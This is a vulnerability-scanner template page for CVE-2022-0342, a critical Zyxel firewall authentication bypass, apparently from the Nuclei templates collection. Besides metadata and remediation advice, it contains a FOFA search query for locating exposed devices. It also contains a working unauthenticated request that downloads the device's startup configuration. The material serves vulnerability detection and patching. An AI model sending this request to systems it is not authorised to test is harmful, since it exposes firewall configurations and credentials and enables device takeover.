CVE-2022-0342: Zyxel - Authentication Bypass
- Template: CVE-2022-0342
- Name: Zyxel - Authentication Bypass
- Description: An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
- Impact: Unauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations.
- Remediation: Apply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices.
- Severity: critical
- Authors: SleepingBag945, Powerexploit
- Tags: cve2022, cve, zyxel, auth-bypass, router, vkev, vuln
- References: https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md, https://nvd.nist.gov/vuln/detail/CVE-2022-0342, https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml, https://github.com/f1tao/awesome-iot-security-resource, https://github.com/murchie85/twitterCyberMonitor
- Cves: CVE-2022-0342
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0342.yaml
- Digest: 4a0a00473045022100aceb55917e5ce3c993829c9398195024096b5fab369aecd13936c76a26c7c9b10220200e0d090192228d5dd20a62611cff36ad11a1e86f74729d19c1b4a526880efc
- Created at: 2023-09-18T12:43:14Z
- Updated at: 2026-11-13T02:04:08Z
- Age in days: 1163
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0342.yaml
Classification
- Cwe: CWE-287
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.95134
- Epss percentile: 0.99865
- Cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="/2FA-access.cgi" && body="zyxel zyxel_style1", body="/2fa-access.cgi" && body="zyxel zyxel_style1"
- Max-request: 1
- Product: usg40_firmware
- Vendor: zyxel
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| zyxel:usg40_firmware | yes | /v1/products/zyxel/usg40_firmware |
Labels
- Name: Zyxel - Authentication Bypass
- Impact: Attackers can bypass authentication and gain administrative control over affected devices.
- Remediation: Update to the latest firmware versions provided by Zyxel that address this vulnerability.
- Vulnerability type: broken_authentication
- Vulnerability impact: privilege_escalation
- Requirement type: logged_in
- Requirements: Attacker needs access to the web interface
- Labels source: projectdiscovery
- From cve: CVE-2022-0342
```yaml
id: CVE-2022-0342
info:
name: Zyxel - Authentication Bypass
author: SleepingBag945,Powerexploit
severity: critical
description: |
An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
impact: |
Unauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations.
remediation: |
Apply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices.
reference:
- https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-0342
- https://github.com/f1tao/awesome-iot-security-resource
- https://github.com/murchie85/twitterCyberMonitor
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0342
cwe-id: CWE-287
epss-score: 0.95134
epss-percentile: 0.99865
cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zyxel
product: usg40_firmware
fofa-query:
- body="/2FA-access.cgi" && body="zyxel zyxel_style1"
- body="/2fa-access.cgi" && body="zyxel zyxel_style1"
tags: cve2022,cve,zyxel,auth-bypass,router,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"
matchers-condition: and
matchers:
- type: word
words:
- "interface-name"
- "saved at"
condition: and
- type: word
part: header
words:
- "text/zyxel"
- "attachment; filename="
condition: and
- type: status
status:
- 200
digest: 4a0a00473045022100aceb55917e5ce3c993829c9398195024096b5fab369aecd13936c76a26c7c9b10220200e0d090192228d5dd20a62611cff36ad11a1e86f74729d19c1b4a526880efc:922c64590222798bb761d5b6d8e72950
```